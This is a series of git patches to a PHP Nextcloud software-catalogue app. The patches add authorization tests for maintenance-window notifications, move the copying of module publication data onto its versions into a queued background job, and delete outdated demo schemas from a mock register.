$this->windows['w1'] = $window; @@ -225,6 +261,77 @@ public function testTheOwnersOfEveryUsageAreRecorded(): void { $this->assertSame('Database upgrade', $this->saved[0]['title']); }//end testTheOwnersOfEveryUsageAreRecorded() + /** + * A supplier announcing maintenance on another supplier's product reaches nobody. + * + * @return void + */ + public function testAnotherSuppliersWindowNotifiesNobody(): void { + $listener = $this->listener(); + $window = $this->entity('w3', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'title' => 'Click here', 'notifyUserIds' => ['victim']], 'org-competitor', 'mallory'); + + $this->windows['w3'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved, 'neither the owners nor a resolved time are written'); + $this->assertCount(1, $this->warnings); + }//end testAnotherSuppliersWindowNotifiesNobody() + + /** + * A window without an organisation is refused unless an administrator created it. + * + * @return void + */ + public function testAWindowWithoutAnOrganisationIsRefused(): void { + $listener = $this->listener(); + $window = $this->entity('w4', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], null, 'mallory'); + + $this->windows['w4'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertSame([], $this->saved); + }//end testAWindowWithoutAnOrganisationIsRefused() + + /** + * A catalogue administrator may announce maintenance on any product. + * + * @return void + */ + public function testACatalogAdministratorMayAnnounceForAnyProduct(): void { + $listener = $this->listener(); + $window = $this->entity('w5', self::SCHEMAS['maintenanceWindow'], ['module' => 'x', 'title' => 'Platform move'], 'org-beheer', 'beheer'); + + $this->windows['w5'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertCount(1, $this->saved); + $this->assertSame(['anna.nc', 'bram.nc', 'carla.nc'], $this->saved[0]['notifyUserIds']); + }//end testACatalogAdministratorMayAnnounceForAnyProduct() + + /** + * An organisation that owns the product, but is not named as its supplier, may announce too. + * + * @return void + */ + public function testTheOrganisationThatOwnsTheProductMayAnnounce(): void { + $listener = $this->listener(); + $this->windows['x'] = $this->entity('x', self::SCHEMAS['module'], ['name' => 'Product X'], 'org-owner'); + $window = $this->entity('w6', self::SCHEMAS['maintenanceWindow'], ['module' => 'x'], 'org-owner', 'jan'); + + $this->windows['w6'] = $window; + + $listener->handle(new ObjectCreatedEvent($window)); + $this->runQueuedJobs(); + + $this->assertCount(1, $this->saved); + }//end testTheOrganisationThatOwnsTheProductMayAnnounce() + /** * An object of another schema is left alone. * diff --git a/tests/Unit/Settings/MaintenanceRecipientRulesTest.php b/tests/Unit/Settings/MaintenanceRecipientRulesTest.php new file mode 100644 index 000000000..774d6f5af --- /dev/null +++ b/tests/Unit/Settings/MaintenanceRecipientRulesTest.php @@ -0,0 +1,85 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Only the catalogue's administrators write the fields the maintenance-announced rule reads. + */ +class MaintenanceRecipientRulesTest extends TestCase { + + /** + * The base register with every fragment merged in file name order, as SettingsService::loadSettings does. + * + * @return array + */ + private function register(): array { + $deep = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $keep = new ReflectionMethod(SettingsService::class, 'keepHighestSchemaVersions'); + $merged = json_decode((string) file_get_contents(__DIR__ . '/../../../lib/Settings/softwarecatalogus_register.json'), true); + $files = glob(__DIR__ . '/../../../lib/Settings/register.d/*.json'); + sort($files); + foreach ($files as $file) { + $fragment = json_decode((string) file_get_contents($file), true); + $merged = $keep->invoke(null, $merged, $deep->invoke(null, $merged, $fragment)); + } + + return $merged; + }//end register() + + /** + * A supplier cannot write the owners to notify or the moment that sends the notice. + * + * @return void + */ + public function testOnlyAdministratorsWriteTheNotificationFields(): void { + $window = $this->register()['components']['schemas']['maintenanceWindow']; + + foreach (['notifyUserIds', 'recipientsResolvedAt'] as $field) { + $this->assertArrayHasKey('type', $window['properties'][$field], $field . ' is a real property, not a rule on nothing'); + $this->assertSame(['update' => ['software-catalog-admins']], $window['properties'][$field]['authorization'] ?? null, $field); + } + + $this->assertSame( + 'recipientsResolvedAt', + $window['x-openregister-notifications']['maintenance-announced']['trigger']['condition']['field'], + 'the protected field is the one the notice fires on' + ); + $this->assertSame('notifyUserIds', $window['x-openregister-notifications']['maintenance-announced']['recipients'][0]['relation']); + $this->assertTrue(version_compare($window['version'], '0.1.1', '>='), 'the schema version is raised so the rule is applied on upgrade'); + }//end testOnlyAdministratorsWriteTheNotificationFields() + + /** + * The window's own object rules are unchanged: a supplier still creates and edits its windows. + * + * @return void + */ + public function testTheObjectRulesAreUnchanged(): void { + $base = json_decode((string) file_get_contents(__DIR__ . '/../../../lib/Settings/softwarecatalogus_register.json'), true); + $merged = $this->register(); + + $this->assertSame( + $base['components']['schemas']['maintenanceWindow']['authorization'], + $merged['components']['schemas']['maintenanceWindow']['authorization'] + ); + }//end testTheObjectRulesAreUnchanged() +}//end class From 7a96c101807711153835aa22294c70a14e2622c6 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:10 +0200 Subject: [PATCH 140/176] perf(publication): copy a module's publication onto its versions in a background job Publishing, depublishing or deleting a module ran one save per version inside the user's request. The service now queues ModuleVersionPublicationJob with the module id; the job reads the module as it is when it runs and copies its publication onto the versions, or clears them when the module is gone. A module that cannot be read leaves its versions as they are. A saved version still reads its one module inline. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ModuleVersionPublicationJob.php | 132 ++++++++++++++++++ .../ModuleVersionPublicationService.php | 51 +++++-- .../specs/publication-field-rules/spec.md | 4 +- .../ModuleVersionPublicationServiceTest.php | 119 +++++++++++++++- 4 files changed, 285 insertions(+), 21 deletions(-) create mode 100644 lib/BackgroundJob/ModuleVersionPublicationJob.php diff --git a/lib/BackgroundJob/ModuleVersionPublicationJob.php b/lib/BackgroundJob/ModuleVersionPublicationJob.php new file mode 100644 index 000000000..8f9b16f58 --- /dev/null +++ b/lib/BackgroundJob/ModuleVersionPublicationJob.php @@ -0,0 +1,132 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\BackgroundJob; + +use OCA\OpenRegister\Contract\ObjectEntityInterface; +use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCA\Stackiq\Service\ModuleVersionPublicationService; +use OCA\Stackiq\Service\SettingsService; +use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\QueuedJob; +use Psr\Container\ContainerInterface; +use Psr\Log\LoggerInterface; +use RuntimeException; +use Throwable; + +/** + * One copy of one module's publication onto its versions. + * + * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is + */ +class ModuleVersionPublicationJob extends QueuedJob { + + /** + * Constructor. + * + * @param ITimeFactory $time The time factory. + * @param ModuleVersionPublicationService $publication The mirror. + * @param SettingsService $settingsService Resolves the module register and schema. + * @param ContainerInterface $container Resolves OpenRegister's object service. + * @param LoggerInterface $logger The logger. + */ + public function __construct( + ITimeFactory $time, + private readonly ModuleVersionPublicationService $publication, + private readonly SettingsService $settingsService, + private readonly ContainerInterface $container, + private readonly LoggerInterface $logger, + ) { + parent::__construct(time: $time); + }//end __construct() + + /** + * Copy the publication of the module in the argument onto its versions. + * + * A deleted module, or one that no longer exists, takes its versions out + * of public view. A module that cannot be read leaves its versions as they are. + * + * @param mixed $argument `{module, deleted}`: the module's id and whether it was deleted. + * + * @return void + * + * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is + */ + protected function run($argument): void { + $moduleUuid = ''; + if (is_array($argument) === true && is_string($argument['module'] ?? null) === true) { + $moduleUuid = $argument['module']; + } + + if ($moduleUuid === '') { + return; + } + + if (($argument['deleted'] ?? false) === true) { + $this->publication->clearVersions(moduleUuid: $moduleUuid); + return; + } + + try { + $module = $this->findModule(moduleUuid: $moduleUuid); + } catch (Throwable $e) { + $this->logger->error( + 'ModuleVersionPublicationJob: could not read the module; its versions are left as they are', + ['module' => $moduleUuid, 'error' => $e->getMessage()] + ); + return; + } + + if ($module === null) { + $this->publication->clearVersions(moduleUuid: $moduleUuid); + return; + } + + $this->publication->backfillModule(module: $module); + }//end run() + + /** + * Read the module as it is now. + * + * @param string $moduleUuid The module. + * + * @return ObjectEntityInterface|null The module, or null when it no longer exists. + * + * @throws Throwable When OpenRegister is absent or the read fails. + */ + private function findModule(string $moduleUuid): ?ObjectEntityInterface { + $objects = $this->container->get(ObjectServiceInterface::class); + if (($objects instanceof ObjectServiceInterface) === false) { + throw new RuntimeException('OpenRegister\'s object service is not available'); + } + + return $objects->find( + id: $moduleUuid, + register: $this->settingsService->getRegisterIdForObjectType('module'), + schema: $this->settingsService->getSchemaIdForObjectType('module'), + _rbac: false, + _multitenancy: false + ); + }//end findModule() +}//end class diff --git a/lib/Service/ModuleVersionPublicationService.php b/lib/Service/ModuleVersionPublicationService.php index 829a58001..6eaca1ce6 100644 --- a/lib/Service/ModuleVersionPublicationService.php +++ b/lib/Service/ModuleVersionPublicationService.php @@ -11,6 +11,12 @@ * its module). It writes only when a value differs, so the writes it causes * end at the next event. * + * A module can have hundreds of versions, so the copy onto them does not run + * in the request that saved the module: it is queued as + * ModuleVersionPublicationJob, which reads the module as it is when the job + * runs and hands it to backfillModule() or, once deleted, to clearVersions(). + * A version reads its one module inline. + * * @category Service * @package OCA\Stackiq\Service * @author Conduction b.v. @@ -30,6 +36,8 @@ use OCA\OpenRegister\Contract\ObjectEntityInterface; use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCA\Stackiq\BackgroundJob\ModuleVersionPublicationJob; +use OCP\BackgroundJob\IJobList; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; use Throwable; @@ -54,11 +62,13 @@ class ModuleVersionPublicationService { * @param SettingsService $settingsService Resolves the module and moduleVersion schemas. * @param ContainerInterface $container Resolves OpenRegister's object service. * @param LoggerInterface $logger The logger. + * @param IJobList $jobList Queues the copy onto a module's versions. */ public function __construct( private readonly SettingsService $settingsService, private readonly ContainerInterface $container, private readonly LoggerInterface $logger, + private readonly IJobList $jobList, ) { }//end __construct() @@ -94,15 +104,15 @@ private static function text(mixed $value): ?string { }//end text() /** - * React to a saved object: a module updates its versions, a version reads its module. + * React to a saved object: a module queues the update of its versions, a version reads its module. * * A module update that leaves its publication date and registrant as they - * were has nothing to copy, so its versions are not searched. + * were has nothing to copy, so nothing is queued. * * @param ObjectEntityInterface $object The saved object. * @param ObjectEntityInterface|null $previous The object before an update, or null for a new one. * - * @return integer The number of versions written. + * @return integer The number of versions written in this request: 0 for a module, whose versions the job writes. * * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is */ @@ -115,7 +125,8 @@ public function objectSaved(ObjectEntityInterface $object, ?ObjectEntityInterfac return 0; } - return $this->moduleSaved(module: $object); + $this->queueVersions(moduleUuid: (string) $object->getUuid(), deleted: false); + return 0; } if ($schema === (string) $this->settingsService->getSchemaIdForObjectType('moduleVersion')) { @@ -130,7 +141,7 @@ public function objectSaved(ObjectEntityInterface $object, ?ObjectEntityInterfac * * @param ObjectEntityInterface $object The deleted object. * - * @return integer The number of versions written. + * @return integer The number of versions written in this request: always 0, the job writes them. * * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is */ @@ -139,21 +150,37 @@ public function objectDeleted(ObjectEntityInterface $object): int { return 0; } - return $this->copyOntoVersions(moduleUuid: (string) $object->getUuid(), mirror: self::mirrorOf(module: []))['written']; + $this->queueVersions(moduleUuid: (string) $object->getUuid(), deleted: true); + return 0; }//end objectDeleted() /** - * Copy a module's publication onto every version of it that differs. + * Queue the copy of a module's publication onto its versions. * - * @param ObjectEntityInterface $module The saved module. + * The job list keeps one entry per argument, so a module saved twice + * before cron runs is copied once. * - * @return integer The number of versions written. + * @param string $moduleUuid The module. + * @param boolean $deleted Whether the module was deleted. + * + * @return void + */ + private function queueVersions(string $moduleUuid, bool $deleted): void { + $this->jobList->add(ModuleVersionPublicationJob::class, ['module' => $moduleUuid, 'deleted' => $deleted]); + }//end queueVersions() + + /** + * Take every version of a deleted module out of public view. + * + * @param string $moduleUuid The module. + * + * @return array{written: int, failed: int} The versions written, and the versions or searches that failed. * * @spec openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md#requirement-req-pfr-002-a-module-version-is-public-only-while-its-application-is */ - public function moduleSaved(ObjectEntityInterface $module): int { - return $this->backfillModule(module: $module)['written']; - }//end moduleSaved() + public function clearVersions(string $moduleUuid): array { + return $this->copyOntoVersions(moduleUuid: $moduleUuid, mirror: self::mirrorOf(module: [])); + }//end clearVersions() /** * Copy a module's publication onto its versions and say what could not be copied. diff --git a/openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md b/openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md index 2f3097798..a6f28ae44 100644 --- a/openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md +++ b/openspec/changes/publication-field-rules/specs/publication-field-rules/spec.md @@ -25,7 +25,7 @@ The fields listed in the design SHALL be readable only by signed-in users. An an ### Requirement: REQ-PFR-002 A module version is public only while its application is -A module version SHALL be readable by anonymous readers only when its application is: published by date, or registered by a supplier. Saving the application or the version SHALL keep the version in step. +A module version SHALL be readable by anonymous readers only when its application is: published by date, or registered by a supplier. Saving the application or the version SHALL keep the version in step. When an application's publication changes or the application is deleted, the copy onto its versions SHALL run in a background job, not in the request that saved it. #### Scenario: A version of an unpublished application stays private @e2e exclude Verified by tests/Unit/Service/ModuleVersionPublicationServiceTest.php and an anonymous API read on the test instance recorded in the PR. @@ -33,7 +33,7 @@ A module version SHALL be readable by anonymous readers only when its applicatio - **GIVEN** an application without a publication date, registered by a municipality, with one version - **WHEN** an anonymous reader lists module versions - **THEN** that version is not in the answer -- **WHEN** the application gets a publication date in the past +- **WHEN** the application gets a publication date in the past and the background job has run - **THEN** the version is in the answer ### Requirement: REQ-PFR-003 A fragment never lowers a schema version diff --git a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php index d111af0f0..8a71114ab 100644 --- a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php +++ b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php @@ -23,9 +23,12 @@ use OCA\OpenRegister\Event\ObjectCreatedEvent; use OCA\OpenRegister\Event\ObjectDeletedEvent; use OCA\OpenRegister\Event\ObjectUpdatedEvent; +use OCA\Stackiq\BackgroundJob\ModuleVersionPublicationJob; use OCA\Stackiq\EventListener\ModuleVersionPublicationListener; use OCA\Stackiq\Service\ModuleVersionPublicationService; use OCA\Stackiq\Service\SettingsService; +use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\IJobList; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Psr\Container\ContainerInterface; @@ -50,6 +53,34 @@ class ModuleVersionPublicationServiceTest extends TestCase { */ private LoggerInterface&MockObject $logger; + /** + * The jobs the service queued. + * + * @var array + */ + private array $queued = []; + + /** + * The service of the current test. + * + * @var ModuleVersionPublicationService + */ + private ModuleVersionPublicationService $publication; + + /** + * The settings double of the current test. + * + * @var SettingsService&MockObject + */ + private SettingsService&MockObject $settings; + + /** + * The container double of the current test. + * + * @var ContainerInterface&MockObject + */ + private ContainerInterface&MockObject $container; + /** * An object with the six accessors of OpenRegister's entity contract. * @@ -142,9 +173,35 @@ private function service(): ModuleVersionPublicationService { $this->logger = $this->createMock(LoggerInterface::class); - return new ModuleVersionPublicationService(settingsService: $settings, container: $container, logger: $this->logger); + $jobList = $this->createMock(IJobList::class); + $jobList->method('add')->willReturnCallback( + function (string $job, mixed $argument): void { + $this->queued[] = [$job, $argument]; + } + ); + + $this->settings = $settings; + $this->container = $container; + $this->publication = new ModuleVersionPublicationService(settingsService: $settings, container: $container, logger: $this->logger, jobList: $jobList); + return $this->publication; }//end service() + /** + * Run the jobs the service queued, the way cron runs them. + * + * @return void + */ + private function runQueuedJobs(): void { + foreach ($this->queued as [$class, $argument]) { + $this->assertSame(ModuleVersionPublicationJob::class, $class); + $job = new ModuleVersionPublicationJob($this->createMock(ITimeFactory::class), $this->publication, $this->settings, $this->container, $this->logger); + $run = new \ReflectionMethod($job, 'run'); + $run->invoke($job, $argument); + } + + $this->queued = []; + }//end runQueuedJobs() + /** * Publishing a module writes its date onto the versions that differ, and leaves the one already in step. * @@ -165,7 +222,13 @@ function (...$args) use (&$written, $stale) { ); $module = self::entity('m-1', '43', ['name' => 'Zaaksysteem', 'publicationDate' => '2026-09-01T00:00:00+00:00', 'registeredBy' => 'Municipality']); - $this->assertSame(1, $service->objectSaved(object: $module)); + $this->objects->method('find')->willReturn($module); + $this->assertSame(0, $service->objectSaved(object: $module), 'the request that saved the module writes no version'); + $this->assertSame([], $written); + $this->assertSame([[ModuleVersionPublicationJob::class, ['module' => 'm-1', 'deleted' => false]]], $this->queued); + + $this->runQueuedJobs(); + $this->assertSame('v-1', $written[0][4], 'only the stale version is written'); $this->assertSame('2026-09-01T00:00:00+00:00', $written[0][0]['modulePublicationDate']); $this->assertSame('Municipality', $written[0][0]['moduleRegisteredBy']); @@ -182,8 +245,11 @@ public function testADepublishedModuleClearsItsVersions(): void { $service = $this->service(); $this->objects->method('searchObjects')->willReturn([self::entity('v-1', '46', ['module' => 'm-1', 'modulePublicationDate' => '2026-09-01T00:00:00+00:00', 'moduleRegisteredBy' => 'Municipality'])]); $this->objects->expects($this->once())->method('saveObject')->with($this->callback(static fn (array $data): bool => $data['modulePublicationDate'] === null)); + $module = self::entity('m-1', '43', ['registeredBy' => 'Municipality']); + $this->objects->method('find')->willReturn($module); - $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Municipality'])); + $service->objectSaved(object: $module); + $this->runQueuedJobs(); }//end testADepublishedModuleClearsItsVersions() /** @@ -226,7 +292,7 @@ static function (array $query) use (&$offsets, $page): array { ); $this->objects->expects($this->exactly(ModuleVersionPublicationService::VERSION_LIMIT + 1))->method('saveObject')->willReturn($page[0]); - $written = $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); + $written = $service->backfillModule(module: self::entity('m-1', '43', ['registeredBy' => 'Supplier']))['written']; $this->assertSame(ModuleVersionPublicationService::VERSION_LIMIT + 1, $written); $this->assertSame([0, ModuleVersionPublicationService::VERSION_LIMIT], $offsets); @@ -245,6 +311,7 @@ public function testAModuleUpdateWithoutAPublicationChangeLeavesTheVersions(): v $after = self::entity('m-1', '43', ['name' => 'Zaaksysteem 2', 'publicationDate' => '2026-09-01T00:00:00+00:00', 'registeredBy' => 'Municipality']); $this->assertSame(0, $service->objectSaved(object: $after, previous: $before)); + $this->assertSame([], $this->queued, 'nothing is queued'); }//end testAModuleUpdateWithoutAPublicationChangeLeavesTheVersions() /** @@ -259,10 +326,49 @@ public function testADeletedModuleClearsItsVersions(): void { $this->callback(static fn (array $data): bool => $data['modulePublicationDate'] === null && $data['moduleRegisteredBy'] === null) ); - $this->assertSame(1, $service->objectDeleted(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier']))); + $this->objects->expects($this->never())->method('find'); + + $this->assertSame(0, $service->objectDeleted(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier']))); $this->assertSame(0, $service->objectDeleted(object: self::entity('v-1', '46', ['module' => 'm-1'])), 'only a module clears versions'); + $this->assertSame([[ModuleVersionPublicationJob::class, ['module' => 'm-1', 'deleted' => true]]], $this->queued); + + $this->runQueuedJobs(); }//end testADeletedModuleClearsItsVersions() + /** + * A module that no longer exists when the job runs takes its versions out of public view. + * + * @return void + */ + public function testAModuleGoneByTheTimeTheJobRunsClearsItsVersions(): void { + $service = $this->service(); + $this->objects->method('find')->willReturn(null); + $this->objects->method('searchObjects')->willReturn([self::entity('v-1', '46', ['module' => 'm-1', 'moduleRegisteredBy' => 'Supplier'])]); + $this->objects->expects($this->once())->method('saveObject')->with( + $this->callback(static fn (array $data): bool => $data['modulePublicationDate'] === null && $data['moduleRegisteredBy'] === null) + ); + + $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); + $this->runQueuedJobs(); + }//end testAModuleGoneByTheTimeTheJobRunsClearsItsVersions() + + /** + * A module that cannot be read leaves its versions as they are, and says so. + * + * @return void + */ + public function testAModuleThatCannotBeReadLeavesItsVersions(): void { + $service = $this->service(); + $this->objects->method('find')->willThrowException(new \RuntimeException('database went away')); + $this->objects->expects($this->never())->method('searchObjects'); + $this->logger->expects($this->once())->method('error')->with($this->stringContains('left as they are')); + + $this->objects->expects($this->never())->method('saveObject'); + + $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); + $this->runQueuedJobs(); + }//end testAModuleThatCannotBeReadLeavesItsVersions() + /** * A depublication that cannot be written is logged as critical: the version stays public. * @@ -274,8 +380,7 @@ public function testAFailedDepublicationIsCritical(): void { $this->objects->method('saveObject')->willThrowException(new \RuntimeException('database went away')); $this->logger->expects($this->once())->method('critical')->with($this->stringContains('stays public')); $this->logger->expects($this->never())->method('error'); - - $this->assertSame(0, $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Municipality']))); + $this->assertSame(['written' => 0, 'failed' => 1], $service->backfillModule(module: self::entity('m-1', '43', ['registeredBy' => 'Municipality']))); }//end testAFailedDepublicationIsCritical() /** From b906515e778a1ff6db94014de337573b9563454b Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:06:10 +0200 Subject: [PATCH 141/176] fix(demo-data): seed demo objects against the live schemas instead of stale copies The mock register carried its own copies of 21 schemas, older than the real register and without the publication field rules; installing demo data with force could apply them over the live schemas. The descriptor now declares its registers and objects only, as the current fleet generator emits it, and OpenRegister resolves each object's schema by slug. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/Settings/stackiq_mock_register.json | 7632 ----------------- .../Settings/LifecycleStatesMatchEnumTest.php | 5 +- tests/vitest/aiSystems.spec.js | 6 +- 3 files changed, 4 insertions(+), 7639 deletions(-) diff --git a/lib/Settings/stackiq_mock_register.json b/lib/Settings/stackiq_mock_register.json index c13d6d0ba..d1bf7bb44 100644 --- a/lib/Settings/stackiq_mock_register.json +++ b/lib/Settings/stackiq_mock_register.json @@ -26,7638 +26,6 @@ "description": "Demo data for AMEF. Generated from the register's own schemas — see hydra-gates/scripts/lib/generate_mock_register.py." } }, - "schemas": { - "software-review": { - "properties": { - "auteur": { - "type": "string", - "description": "Display name of the submitting user. Stamped server-side by ReviewService from the authenticated Nextcloud session at submission time — a client-supplied value is always discarded and never persisted.", - "visible": true, - "facetable": false, - "title": "Auteur", - "order": 10, - "example": "Bijvoorbeeld: Jan Jansen" - }, - "status": { - "type": "string", - "enum": [ - "pending", - "approved", - "rejected" - ], - "default": "pending", - "description": "Moderation status. Every new review is forced to 'pending' server-side by ReviewService regardless of client input; only an admin approval/rejection decision (ModerationService, reusing the organisatie moderation pattern) may transition it. The public RBAC read rule below only ever matches 'approved'.", - "visible": true, - "facetable": true, - "title": "Status", - "order": 11, - "example": "Bijvoorbeeld: pending" - }, - "name": { - "description": "Naam van de beoordeling", - "type": "string", - "visible": true, - "required": true, - "facetable": false, - "title": "Name", - "order": 1 - }, - "shortDescription": { - "description": "Korte beschrijving van de beoordeling", - "type": "string", - "maxLength": 255, - "visible": true, - "facetable": false, - "title": "Summary", - "order": 2 - }, - "longDescription": { - "description": "Uitgebreide beschrijving van de beoordeling", - "type": "string", - "format": "markdown", - "visible": true, - "facetable": false, - "title": "Description", - "order": 3 - }, - "rating": { - "description": "Waardering van 1 tot en met 10", - "type": "integer", - "minimum": 1, - "maximum": 10, - "visible": true, - "required": true, - "facetable": false, - "title": "Rating", - "order": 4 - }, - "modules": { - "description": "Optioneel: specifieke applicaties die beoordeeld worden", - "type": "array", - "visible": true, - "facetable": false, - "title": "Applications", - "order": 6, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "software-review" - } - }, - "diensten": { - "description": "Optioneel: specifieke diensten die beoordeeld worden", - "type": "array", - "visible": true, - "facetable": false, - "title": "Services", - "order": 7, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/catalogService" - } - }, - "koppelingen": { - "description": "Optioneel: specifieke koppelingen die beoordeeld worden", - "type": "array", - "visible": true, - "facetable": false, - "title": "Connections", - "order": 8, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/connection" - } - }, - "usage": { - "description": "Optioneel: het specifieke gebruik dat beoordeeld wordt", - "type": "object", - "visible": true, - "facetable": false, - "title": "Usage", - "order": 9, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/usage" - } - }, - "authorization": { - "create": [ - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - { - "group": "public", - "match": { - "status": "approved" - } - }, - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisatie-beheerder", - "organisaties-beheerder", - "gebruik-raadpleger" - ], - "update": [ - "software-catalog-admins", - { - "group": "organisatie-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "organisaties-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "functioneel-beheerder", - "match": { - "_organisation": "$organisation" - } - } - ], - "delete": [ - "software-catalog-admins" - ] - }, - "required": [ - "name", - "rating" - ], - "uri": null, - "slug": "software-review", - "x-openregister-notifications": { - "review-submitted": { - "trigger": { - "type": "created" - }, - "enabled": true, - "channels": [ - "nc-notification" - ], - "recipients": [ - { - "kind": "object-acl", - "permission": "manage" - }, - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - } - ], - "subject": { - "nl": "Nieuwe beoordeling: {{naam}} (waardering {{waardering}})", - "en": "New review: {{naam}} (rating {{waardering}})" - } - } - }, - "title": "Assessment", - "description": "Schema voor beoordelingen en waarderingen van applicaties en diensten. Dit schema is onderdeel van het vastgestelde datamodel maar wordt niet daadwerkelijk in de applicatie gebruikt.", - "version": "0.1.3", - "omschrijving": "", - "icon": "Star", - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "autoPublish": false - } - }, - "bioMeasure": { - "uri": null, - "slug": "bioMeasure", - "title": "BIO measure", - "description": "Een BIO 2.0 (Baseline Informatiebeveiliging Overheid) maatregel uit de gepubliceerde maatregelenlijst. Wordt gebruikt als selectiebron voor compliance-registraties (compliancy.bioMaatregel) en het BIO-dekkingsrapport.", - "version": "0.0.1", - "omschrijving": "", - "icon": "ShieldLockOutline", - "required": [ - "code", - "name" - ], - "properties": { - "code": { - "description": "De BIO-maatregelcode (bijvoorbeeld 5.1.1)", - "type": "string", - "order": 1, - "facetable": true, - "required": true, - "title": "Code", - "maxLength": 20, - "table": { - "default": true - }, - "example": "Bijvoorbeeld: 5.1.1" - }, - "name": { - "description": "De naam van de BIO-maatregel", - "type": "string", - "order": 2, - "facetable": false, - "required": true, - "title": "Name", - "maxLength": 255, - "table": { - "default": true - }, - "example": "Bijvoorbeeld: Toegangsbeveiligingsbeleid" - }, - "omschrijving": { - "description": "Een uitgebreide omschrijving van de maatregel", - "type": "string", - "order": 3, - "facetable": false, - "format": "markdown", - "title": "Description", - "maxLength": 5000, - "example": "Bijvoorbeeld: De organisatie stelt een toegangsbeveiligingsbeleid vast en onderhoudt dit periodiek." - }, - "thema": { - "description": "Het BIO-thema waartoe de maatregel behoort", - "type": "string", - "order": 4, - "facetable": true, - "title": "Theme", - "table": { - "default": true - }, - "maxLength": 200, - "example": "Bijvoorbeeld: Toegangsbeveiliging" - }, - "bioVersion": { - "description": "De BIO-versie waarin deze maatregel is gepubliceerd", - "type": "string", - "order": 5, - "facetable": true, - "title": "BIO version", - "default": "BIO 2.0", - "maxLength": 50, - "example": "Bijvoorbeeld: BIO 2.0" - }, - "bbnLevel": { - "description": "De BBN-niveaus (Baseline Informatiebeveiliging Overheid) waarop deze maatregel van toepassing is", - "type": "array", - "order": 6, - "facetable": true, - "title": "BBN level", - "table": { - "default": true - }, - "items": { - "type": "string", - "enum": [ - "BBN1", - "BBN2", - "BBN3" - ] - }, - "example": [ - "BBN2", - "BBN3" - ] - }, - "bron": { - "description": "Verwijzing naar de gepubliceerde maatregel (baselineinformatiebeveiligingoverheid.nl)", 